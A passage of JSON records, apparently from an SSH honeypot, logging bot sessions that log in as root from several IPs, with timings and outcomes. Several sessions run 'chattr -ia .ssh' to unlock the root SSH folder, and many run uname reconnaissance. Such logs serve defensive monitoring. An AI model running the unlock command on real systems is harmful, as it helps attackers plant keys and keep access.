  "id": "39c0afe1-d29d-434d-ba17-454f591cae22",
  "name": "plucky-frosty-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42724,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:31:54.591185+00:00",
  "ended_at": "2026-08-26T11:31:55.795587+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4826b3f0-eb6f-4897-9b68-e917eff69c76",
  "name": "languid-wooded-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42516,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:29:06.085419+00:00",
  "ended_at": "2026-08-26T11:29:08.184541+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14b6ca15-6a85-43d0-9891-33c5dbff9927",
  "name": "quartz-ancient-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42500,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:28:59.486436+00:00",
  "ended_at": "2026-08-26T11:29:00.381497+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "47e676c9-8c0b-4487-bd16-3ab9269f7300",
  "name": "mossy-burly-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42064,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:21:39.297562+00:00",
  "ended_at": "2026-08-26T11:21:40.482281+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "015fe738-86d0-4600-8fc1-ce1862f46dff",
  "name": "sullen-rugged-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 46886,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 585,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:07:25.095860+00:00",
  "ended_at": "2026-08-26T11:07:25.894192+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2291
 },
 {
  "id": "428f5f89-0c64-49a8-8d5f-a21bba27fb95",
  "name": "courtly-sandy-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 58906,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:07:11.242724+00:00",
  "ended_at": "2026-08-26T11:07:13.134588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "484b532a-8502-4f1b-b64f-1a1f6bcca642",
  "name": "bold-primal-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 57286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:05:59.572219+00:00",
  "ended_at": "2026-08-26T11:06:00.017027+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79db8206-616c-4adf-b4c2-57332374ccf1",
  "name": "pristine-freckled-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 33232,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 604,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:02:52.624467+00:00",
  "ended_at": "2026-08-26T11:02:53.299019+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2280
 },
 {
  "id": "3e11718a-4da8-4977-80fe-20d992f7ed63",
  "name": "icy-upland-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 60224,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:02:39.676937+00:00",
  "ended_at": "2026-08-26T11:02:41.218700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bb2e9e0-8de0-4f9d-96b7-22857ca6cc81",
  "name": "jagged-fierce-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.172",
  "src_port": 28370,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:01:03.808894+00:00",
  "ended_at": "2026-08-26T11:01:04.302754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0582e41e-a6e7-44ff-a77a-c270af0429d1",
  "name": "diligent-bold-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 40602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 617,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:54:26.556075+00:00",
  "ended_at": "2026-08-26T10:54:27.999283+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2271
 },
 {
  "id": "01c754e0-3b90-438c-bada-aba809ae3f87",
  "name": "flinty-alpine-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 41778,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:50:02.070375+00:00",
  "ended_at": "2026-08-26T10:50:02.781088+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "aea31477-10ea-410a-9889-4426c813e457",
  "name": "lonesome-burly-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 38992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:38:48.405714+00:00",
  "ended_at": "2026-08-26T10:38:48.930930+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52a051e5-9ff3-450c-99a5-42201b21d6a0",
  "name": "cunning-gritty-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 40528,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:21:02.325007+00:00",
  "ended_at": "2026-08-26T10:21:02.689057+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3c633b0-6488-4717-a0f4-c399e02644ca",
  "name": "cheerful-inland-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 36286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 616,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:19:39.338741+00:00",
  "ended_at": "2026-08-26T10:19:41.087847+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "a3f1c7e9-a607-4ced-8b4e-75206c4da9d9",
  "name": "sterling-seaward-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 44310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:19:20.822895+00:00",
  "ended_at": "2026-08-26T10:19:21.883890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b33232f9-4f46-4df0-a678-2c4b872f85c7",
  "name": "forlorn-idle-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 35348,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:06:36.905884+00:00",
  "ended_at": "2026-08-26T10:06:37.685000+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "d0f18b3a-dac2-4913-a65d-045de054620d",
  "name": "marine-earnest-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 54754,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:06:24.561905+00:00",
  "ended_at": "2026-08-26T10:06:25.801967+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c1f6698-5755-41d9-a772-0cda63287b4a",
  "name": "creaky-diligent-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 59822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:18:23.297909+00:00",
  "ended_at": "2026-08-26T09:18:24.030659+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "4990aded-3765-44ea-8b1c-68ebe2f34a7c",
  "name": "distant-reedy-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 39530,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:18:09.410071+00:00",
  "ended_at": "2026-08-26T09:18:11.495916+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0110727-3232-4384-841c-4bc010337125",
  "name": "lanky-plucky-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.231",
  "src_port": 27278,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:17:16.651161+00:00",
  "ended_at": "2026-08-26T09:17:17.093480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d7c1d7e6-b9fb-4662-a932-cdaaf2874e30",
  "name": "mottled-frank-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.152.221.210",
  "src_port": 30716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:50:29.351306+00:00",
  "ended_at": "2026-08-26T08:50:29.656514+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52e95716-b80a-480b-aabc-1bb7d9d7a77f",
  "name": "hollow-subtle-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 16712,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:54:58.267300+00:00",
  "ended_at": "2026-08-26T07:54:59.675662+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c24006b0-8986-42fe-aeef-4e27b0e93b1a",
  "name": "rapid-forlorn-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "14.103.117.85",
  "src_port": 48826,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T07:25:54.117484+00:00",
  "ended_at": "2026-08-26T07:29:54.189080+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "6ec6a40d-09c8-460a-b08a-650911723df4",
  "name": "jaunty-brisk-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 164,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:48:26.521567+00:00",
  "ended_at": "2026-08-26T06:48:30.010242+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bd6377cb-6e52-414f-90ba-677f9cef77ec",
  "name": "primal-grumpy-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 60016,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 163,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:48:11.721000+00:00",
  "ended_at": "2026-08-26T06:48:17.678036+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2041fcb8-dfce-44c3-b6a7-15e39a8ce04c",
  "name": "gallant-stoic-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 167,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:59.442063+00:00",
  "ended_at": "2026-08-26T06:48:03.429695+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0deff63a-be22-4e89-a62a-a9ca0b60d086",
  "name": "brazen-opal-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 169,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:53.178166+00:00",
  "ended_at": "2026-08-26T06:47:58.539686+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "df51b444-0520-478a-943f-ac857d889691",
  "name": "austere-downy-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 168,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:51.147723+00:00",
  "ended_at": "2026-08-26T06:47:53.883537+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "20835cb7-da7e-4ff7-92a3-f5bdb17d247a",
  "name": "daring-curious-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:26.530942+00:00",
  "ended_at": "2026-08-26T06:47:31.531967+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5c05de51-6b15-48cc-8249-018cd07b02a7",
  "name": "electric-honest-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35996,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:00.684406+00:00",
  "ended_at": "2026-08-26T06:47:05.996090+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1edd7c13-d9f4-4fd3-9a66-96651bf17757",
  "name": "kindly-golden-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:52.760008+00:00",
  "ended_at": "2026-08-26T06:46:56.944598+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f15ec24a-16a3-47cd-b7b2-341f03677326",
  "name": "grumpy-ivory-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54932,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:45.907359+00:00",
  "ended_at": "2026-08-26T06:45:51.291242+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "75b6e413-cd60-4767-ab8e-571be79a82c5",
  "name": "spirited-humble-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50848,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:04.934377+00:00",
  "ended_at": "2026-08-26T06:45:09.675363+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e0c1fe1c-7c72-499c-8906-3a44a39aff68",
  "name": "dewy-eager-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:19.788046+00:00",
  "ended_at": "2026-08-26T06:44:23.110104+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "21b4c77b-7ce5-4a1d-9fb5-3cbdf4068cb9",
  "name": "windswept-thorny-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:15.433269+00:00",
  "ended_at": "2026-08-26T06:44:19.613235+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ab1b0f6e-bd5b-432f-ba1c-325fdda19447",
  "name": "subtle-gleaming-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39342,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:07.467077+00:00",
  "ended_at": "2026-08-26T06:44:11.514202+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e17e5573-e57c-49e6-b98d-2f541a452e75",
  "name": "vernal-dusty-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39302,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:58.904150+00:00",
  "ended_at": "2026-08-26T06:44:02.188828+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "239104e9-24ba-4002-873c-f624f8c4cb91",
  "name": "twilight-serene-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 177,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:52.778206+00:00",
  "ended_at": "2026-08-26T06:43:55.787947+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d277d22a-535a-49f9-a8f8-31aa8b4ea9e0",
  "name": "burly-gentle-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:46.376196+00:00",
  "ended_at": "2026-08-26T06:43:51.635031+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "686da857-1119-48a8-863d-edc6be63705c",
  "name": "fierce-foggy-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 45090,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:33.354043+00:00",
  "ended_at": "2026-08-26T06:43:36.038756+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35634f23-75f1-4b45-a357-44846d9730ab",
  "name": "creaky-noble-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:50.679590+00:00",
  "ended_at": "2026-08-26T06:42:53.700154+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "65851e4a-997b-4eab-98c4-c3a1a337b999",
  "name": "granite-leafy-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40860,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:43.437586+00:00",
  "ended_at": "2026-08-26T06:42:49.300705+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "553dba11-da6b-43ce-8f1e-82da79fb3157",
  "name": "bold-blazing-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 187,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:34.665597+00:00",
  "ended_at": "2026-08-26T06:42:39.264659+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ff39adc0-0b2c-4bd2-8750-31b86ec33302",
  "name": "thrifty-rugged-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:42.990167+00:00",
  "ended_at": "2026-08-26T06:41:48.695320+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1d93a56b-9271-4c54-9e91-4533b940aab7",
  "name": "thrifty-feathered-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58432,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:39.638099+00:00",
  "ended_at": "2026-08-26T06:41:43.690236+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4490f5dd-12b5-4a5f-87a6-bafa860fd714",
  "name": "marbled-ginger-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:12.925505+00:00",
  "ended_at": "2026-08-26T06:41:17.301565+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "925297c1-c5d3-48bb-888e-8352fc5b9715",
  "name": "genial-barren-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 220,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:08.386283+00:00",
  "ended_at": "2026-08-26T06:41:11.660460+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "11393888-16a8-46f6-9c26-1a459bdd7434",
  "name": "coastal-ivory-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43916,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:40:58.695657+00:00",
  "ended_at": "2026-08-26T06:41:02.710422+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "06ffd699-38cb-4b3c-9594-8791be1f6822",
  "name": "nautical-valiant-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 45646,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:40:08.732753+00:00",
